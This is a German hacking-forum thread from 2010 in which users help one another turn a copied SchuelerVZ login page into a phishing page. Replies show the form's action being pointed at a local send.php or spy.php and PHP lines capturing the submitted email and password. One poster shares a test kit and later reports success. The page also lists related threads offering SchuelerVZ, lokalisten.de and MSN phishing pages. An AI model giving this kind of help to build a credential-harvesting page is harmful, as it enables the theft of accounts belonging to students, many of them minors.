Schuelervz.de -Aktuelle Phising Seite

**G.host** · 17.10.2010, 17:02

Hiho
hab mir von der Phising-Sammlung, die hier im Forum zu finden ist, mal die schuelervz.net Seite angeschaut. Leider ist diese veraltet.

Nun würde ich gerne die aktuelle Schuelervz.de Seite kopieren.
Wie stelle ich dies an?

Quelltext der Seite

Laut eurer Anleitung von http://free-hack.com/phishing/40768-wie-erstelle-ich-eine-phishing-seite.html
muss man nun aussuchen zwischen Mail- oder Log-Methode, doch leider verstehe ich nicht ganz, welchen Teil des original Quellcodes man entfernen und welchen Teil mein einfügen muss um eMail sowie Passwort als Log zu erhalten.

Dazu müsste ich mir doch diesen Teil des Quellcodes anschauen, oder?

PHP-Code:


<div class="obj-box complex" id="Mini-Loginbox">
    <div class="innerbox">
        <form id="Loginbox" method="post" action="https://secure.schuelervz.net/Login">
            <fieldset>
                <div class="form-row labelinside">
                    <label for="Login_email">E-Mail</label>

                    <input onfocus="this.hasfocus='yes';"   class="text" type="text" name="email" id="Login_email" value="" />
                </div>
                <div class="form-row labelinside">
                    <label for="Login_password">Passwort</label>
                    <input onfocus="this.hasfocus='yes';"  class="text" type="password" name="password" id="Login_password"  value="" /><br/>
                </div>
                <p><a href="/Login/ResetPassword">Passwort vergessen?</a></p>

                <div class="form-row">
                    <input onfocus="this.hasfocus='yes';"  type="checkbox" name="reminder" id="Login_remind" value="1"  class="remind-login"/>
                    <label for="Login_remind" id="Login-Remind-Label">Eingeloggt bleiben</label>
                    <img class="loginTooltipIcon"  src="http://static.pe.schuelervz.net/20101013-0/Img/rd/transparent.png"  width="16" alt="?"/>
                    <div id="reminder-hint" class="hidden">
                        <div class="obj-box complex bg-highlight">
                            <div class="innerbox">
                                Setze dieses Häkchen nur, wenn außer dir  niemand anderes diesen Computer verwendet.                                                                   <a  href="http://www.schuelervz.net/Newsroom/Detail/5c7c8d3134c3d2c9"  rel="nofollow">Warum?</a>

                                                            </div>
                        </div>
                    </div>
                </div>

Könntet ihr mir evtl weiterhelfen?

Liebe Grüße
G.host

**Thunderstorm** · 18.10.2010, 15:36

Naja du must dir das Angucken was zwischen

<form id="Loginbox" method="post" action="https://secure.schuelervz.net/Login">
und </form> steht .

bei action must du die Datei angebene wo du nacher dein Logphp oder Emailphp ist zb action="spy.php" .

dann brauchst du eig nur noch
<input onfocus="this.hasfocus='yes';" class="text" type="password" name="password" id="Login_password" value="" />
und
<input onfocus="this.hasfocus='yes';" class="text" type="text" name="email" id="Login_email" value="" />

da brauchst du im Grunde genommen nichts ändern was relevant ist, ist name= .
Damit wird der Php Datei mitgeteilt was jetzt bei password und bei email eingetragen wurde und man kann sie halt für die Log oder die Email benutzten.

**G.host** · 18.10.2010, 18:19

Hey
Erstmal danke für die Antwort.

Das heißt ich muss nur für action="send.php" eingeben wenn send.php die Datei ist, die Passwort & Email speichern soll?

<form id="Loginbox" method="post" action="https://secure.schuelervz.net/Login">

<form id="Loginbox" method="post" action="send.php">

Ist das so richtig?

Das mit

<input onfocus="this.hasfocus='yes';" class="text" type="password" name="password" id="Login_password" value="" />
und
<input onfocus="this.hasfocus='yes';" class="text" type="text" name="email" id="Login_email" value="" />

Habe ich nicht ganz verstanden, denn diesen Code finde ich 1 zu 1 im Quelltext. Also den soll ich ebenfalls einfach so lassen?

Lg
G.host

**Thunderstorm** · 19.10.2010, 14:55

Alsow was wichtig ist, ist einmal
name="password" das
und
name="email" das .

da must du denn in dein Php Datei einfach
<?php
$pw=$_POST['password'];

$email=$_POST['email'];
?>

und schon hast du einmal das Pw in der Variabel $pw gespeichert was in der <input name="password ..... /> eingegen wurde und das gleiche bei Email .

Greetz ^^ (=

**G.host** · 19.10.2010, 21:08

Hey
also ich bin so weit:

http://rapidshare.com/files/42603874....de_-_Test.rar

Kannst ja mal drüberschauen & so verändern, dass es auch geht. Bekomm das leider nicht hin

G.host

**dimebag_darrell** · 19.10.2010, 21:46

Hab mir deine Page mal angeguckt. Ist vom Design her und so authentisch.
Allerdings ist komisch, dass der Login nicht die Daten an die email Adresse schickt sondern man angeboten bekommt die send.php zu downloaden.
Is nicht so der Sinn. So wie ich das verstehe soll grade die doch ausgelöst werden.

edit:

Muss das so?

**G.host** · 19.10.2010, 22:29

Jop genau
Also mir ist das eig. egal, ob die Daten in einer log.php Datei zu finden sind, oder man die Daten per mail bekommt. Denke, dass das Log-Verfahren einfacher ist, oder?

Ich komm da leider nicht weiter. Was muss ich verändern?

Thema hat sich erledigt =) Habs hinbekommen

Danke für die Hilfe

Thema: Schuelervz.de -Aktuelle Phising Seite

Themen-Optionen

Anzeige

Schuelervz.de -Aktuelle Phising Seite

Ähnliche Themen

Phishing Seite: SchuelerVZ

lokalisten.de phising seite

Phising-Seite für MSN !

Biete SchuelerVZ Phishing Seite

phising seite

Stichworte

Berechtigungen